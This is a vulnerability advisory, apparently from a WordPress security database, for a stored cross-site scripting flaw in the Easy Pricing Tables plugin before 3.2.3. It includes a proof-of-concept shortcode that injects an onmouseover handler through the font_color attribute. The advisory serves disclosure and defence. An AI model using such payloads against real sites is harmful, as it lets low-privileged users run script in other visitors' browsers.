WordPress Plugin Vulnerabilities

Pricing Tables WordPress Plugin – Easy Pricing Tables < 3.2.3 - Contributor+ Stored XSS via Shortcode

Description

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Proof of Concept

Note: Enable compatibility mode by going to the settings of the plugins.

Exploit shortcode:

[easy-pricing-toggle font_color='red; border:5px solid red;" onmouseover="alert(1)"' background_color='red' border_color='red' default_title='xss' alternate_title='xss' default_pricing_table_id='1' alternate_pricing_table_id='2']

Affects Plugins

Fixed in 3.2.3

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-04 (about 1 years ago)
Added
2023-01-04 (about 1 years ago)
Last Updated
2023-01-04 (about 1 years ago)

Other